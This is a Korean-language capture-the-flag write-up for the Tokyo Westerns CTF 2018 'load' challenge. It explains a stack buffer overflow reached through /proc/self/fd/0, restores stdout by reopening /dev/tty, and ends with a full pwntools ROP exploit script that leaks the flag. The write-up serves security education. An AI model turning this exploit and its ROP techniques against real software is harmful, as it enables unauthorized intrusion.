Tokyo Westerns CTF 2018 - load

0x00. Introduction

[*] '/home/user/load'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

0x01. Vulnerability

int __fastcall load_file_4008FD(void *buf, const char *file_name, __off_t offset, size_t size)
{
  int fd; // [rsp+2Ch] [rbp-4h]

  fd = open(file_name, 0);
  if ( fd == -1 )
    return puts("You can't read this file...");
  lseek(fd, offset, 0);
  if ( read(fd, buf, size) > 0 )
    puts("Load file complete!");
  return close(fd);
}

load_file_4008FD()๋ฅผ ๋ณด๋ฉด ์ž…๋ ฅ๋ฐ›์€ ํŒŒ์ผ๋ช…์„ openํ•ด์„œ ๋‚ด์šฉ์„ size๋งŒํผ ์ฝ์€ ํ›„ main()์˜ buf ๋ณ€์ˆ˜์— ์จ์ค€๋‹ค.

์ด ๋•Œ file_name์„ /proc/self/fd/0์œผ๋กœ ์กฐ์ž‘ํ•ด์ค€๋‹ค๋ฉด, ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ฝ๋Š” ๊ฒƒ์ด ์•„๋‹Œ stdin์„ ์ฝ์–ด์„œ buf์— ์“ฐ๋Š” ๊ผด์ด ๋œ๋‹ค.

  char buf[32]; // [rsp+0h] [rbp-30h] BYREF
  size_t size; // [rsp+20h] [rbp-10h]
  __off_t offset; // [rsp+28h] [rbp-8h]

main()์˜ buf๋Š” rbp-0x30์— ์œ„์น˜ํ•ด์žˆ๊ณ  ์›ํ•˜๋Š” ๋งŒํผ size๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ BOF ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค.

0x02. Exploit

BOF ์ทจ์•ฝ์ ์ด ์žˆ์œผ๋‹ˆ libc leak์„ ํ•˜๋ ค๊ณ  ํ–ˆ๋Š”๋ฐ PLT๊ฐ€ ์žˆ๋Š” puts()๋“  _printf_chk()๋“  ์ด์ƒํ•˜๊ฒŒ ์ถœ๋ ฅ์ด ์•ˆ๋๋‹ค.

๊ทธ๋ž˜์„œ ๋””๋ฒ„๊น…์„ ํ•ด๋ณด๋‹ˆ puts()์˜ ๋ฆฌํ„ด ๊ฐ’์ด -1์ธ ๊ฒƒ์„ ํ™•์ธํ–ˆ๊ณ , ๋ญ”๊ฐ€ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ–ˆ์Œ์„ ์•Œ์•˜๋‹ค. ์–ธ์ œ ์ด๋Ÿฐ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š”์ง€ ์ฐพ์•„๋ณด๋‹ค๊ฐ€ stdout์— ๋ฌธ์ œ๊ฐ€ ์ƒ๊ธฐ๋ฉด ๊ทธ๋Ÿด ์ˆ˜ ์žˆ๋‹ค๋Š” ์ •๋ณด๋ฅผ ์ฐพ์•„์„œ ํ™•์ธํ•ด๋ณด๋‹ˆโ€ฆ

int close_4008D8()
{
  close(0);
  close(1);
  return close(2);
}

load_file_4008FD()์ด ๋๋‚œ ํ›„ main()์ด ์ข…๋ฃŒ๋˜๊ธฐ ์ „์— close_4008D8()๋ผ๋Š” ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜๋Š”๋ฐ, ์—ฌ๊ธฐ์—์„œ stdout์„ closeํ•ด๋ฒ„๋ฆฐ๋‹ค. ๊ทธ๋ž˜์„œ ๊ตฌ๊ธ€๋ง์„ ์—ด์‹ฌํžˆ ํ•ด๋ณด๋‹ˆ /dev/tty๋ฅผ openํ•˜๋ฉด ๋‹ค์‹œ stdout์„ ์‚ด๋ฆด ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•˜๋‹ค.

๋ฌธ์ œ๋Š” /dev/tty๋ฅผ ์–ด๋””์— ๋„ฃ์–ด๋†“๊ณ  open()์— ์ „๋‹ฌํ•  ๊ฒƒ์ด๋ƒ์ธ๋ฐ, BOF ์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด file_name์— /proc/self/fd/0์„ ๋„ฃ๋Š” ๊ณผ์ •์—์„œ \x00์„ ํ•˜๋‚˜ ์ถ”๊ฐ€ํ•˜๊ณ  /dev/tty๋ฅผ ์ „๋‹ฌํ•˜๋ฉด ๋  ๊ฒƒ ๊ฐ™์•˜๋‹ค.

    # open("/dev/tty", O_RDWR | O_CREAT)
    payload_open = p64(ppr)
    payload_open += p64(66)                     # pop rsi
    payload_open += p64(0)                      # pop r15
    payload_open += p64(pr)
    payload_open += p64(bp['file_name'] + 0x10) # pop rdi
    payload_open += p64(elf.plt['open'])

์œ„ payload๋ฅผ ROP chain์— 3๋ฒˆ ๋„ฃ์–ด์„œ /proc/self/fd/์— ์ˆœ์„œ๋Œ€๋กœ 0, 1, 2๊ฐ€ ์ƒ์„ฑ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

์ด๋ ‡๊ฒŒ leak์„ ํ•˜๋Š”๋ฐ์—๋Š” ์„ฑ๊ณตํ–ˆ์œผ๋‚˜ stdin์„ ์‚ด๋ ธ์Œ์—๋„ ๋‹ค์Œ playoad๋ฅผ ์ „์†กํ•˜๋Š” ๊ฒƒ์— ์‹คํŒจํ–ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๊ณ ๋ฏผ์ด ๋๋˜๊ฒŒ leak์„ ํ•ด๋ดค์ž ๋‹ค์Œ ์ž…๋ ฅ์„ ์ค„ ์ˆ˜๊ฐ€ ์—†์œผ๋ฏ€๋กœ ํ•œ๋ฒˆ์— ์ž…๋ ฅ์„ ์ค˜์„œ flag๋ฅผ open -> read -> write๋ฅผ ๋‹ค ์‹œ์ผœ์•ผํ•˜๋Š”๋ฐ rdx ๊ด€๋ จ ๊ฐ€์ ฏ์ด ์—†๋‹ค.

๊ทธ๋Ÿฌ๋ฉด read์˜ ์„ธ ๋ฒˆ์งธ ์ธ์ž์ธ size ์ปจํŠธ๋กค์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— open("flag", 'r');์„ ํ•œ ์ดํ›„์˜ rdx ๊ฐ’์ด ๋‚ด์šฉ์„ ์ฝ์–ด์˜ค๊ธฐ์— ์ถฉ๋ถ„ํžˆ ํฐ ๊ฐ’์ด๊ธฐ๋ฅผ ๊ธฐ๋„ํ•ด์•ผํ•˜๋Š”๋ฐโ€ฆ ์‹ค์ œ๋กœ ํ™•์ธํ•ด๋ณด๋‹ˆ open์ด ์ข…๋ฃŒ๋˜๊ณ  ๋‚œ rdx ๊ฐ’์ด 0์ด์—ˆ๋‹ค.

์–ด๋–ป๊ฒŒ ์ถœ๋ ฅ์„ ํ• ์ง€ ํ•œ์ฐธ์„ ๊ณ ๋ฏผํ•˜๋‹ค๊ฐ€โ€ฆ

  load_file_4008FD(buf, byte_601040, offset, size);

๋งˆ์นจ ๋™์ผํ•œ ๋กœ์ง์„ ์ˆ˜ํ–‰ํ•˜๋Š” ํ•จ์ˆ˜๊ฐ€ ์ฝ”๋“œ ์˜์—ญ์— ์žˆ์—ˆ๋‹ค!

  • rdi : pop rdi; ret; ๊ฐ€์ ฏ ํ™œ์šฉ, free space์ธ byte_601040
  • rsi : pop rsi; pop r15; ret; ๊ฐ€์ ฏ ํ™œ์šฉ, BOF ํŠธ๋ฆฌ๊ฑฐ ํ•  ๋•Œ ๋„ฃ์€ flag ์œ„์น˜
  • rdx : open ์ข…๋ฃŒ ํ›„ 0
  • rcx : open ์ข…๋ฃŒ ํ›„ 0x7ffff7e9e53b (์ถฉ๋ถ„ํžˆ ํฐ ๊ฐ’)

์ด๋Ÿฐ์‹์œผ๋กœ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ปจํŠธ๋กคํ•ด์ฃผ๋ฉด flag๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "load"
LIBRARY = "libc.so.6"

pr = 0x0000000000400a73
ppr = 0x0000000000400a71
bp = {
    'read_of_load_file' : 0x400966,
    'main' : 0x400817,
    'end_of_main' : 0x4008A8,
    'close' : 0x4008D8,
    'read_str' : 0x400986,
    'file_name' : 0x601040,
    'load_file' : 0x4008FD,
}

gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def send_msg(s, msg):
    print(s.recvuntil(b": "))
    s.sendline(msg.encode())

def main():
    if(len(sys.argv) > 1):
        s = process(BINARY)
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    send_msg(s, "/proc/self/fd/0\x00/dev/tty\x00flag\x00")
    send_msg(s, "0")
    send_msg(s, "1024")

    payload = b"A" * 0x30
    payload += b"B" * 8

    # open("/dev/tty", O_RDWR | O_CREAT)
    payload_open = p64(ppr)
    payload_open += p64(66)                     # pop rsi
    payload_open += p64(0)                      # pop r15
    payload_open += p64(pr)
    payload_open += p64(bp['file_name'] + 0x10) # pop rdi
    payload_open += p64(elf.plt['open'])

    # open 3 times -> open 0, 1, 2
    payload += payload_open * 3

    # load_file_4008FD(byte_601040, "flag", offset, size)
    payload += p64(ppr)
    payload += p64(bp['file_name'] + 0x19)      # pop rsi
    payload += p64(0)                           # pop r15
    payload += p64(pr)
    payload += p64(bp['file_name'])             # pop rdi
    payload += p64(bp['load_file'])

    # puts(byte_601040)
    payload += p64(pr)
    payload += p64(bp['file_name'])             # pop rdi
    payload += p64(elf.plt['puts'])

    log.info(f"payload length : {hex(len(payload))}")
    s.sendline(payload)
    pause()
    print(s.recv().split(b"\n")[2])

if __name__=='__main__':
    main()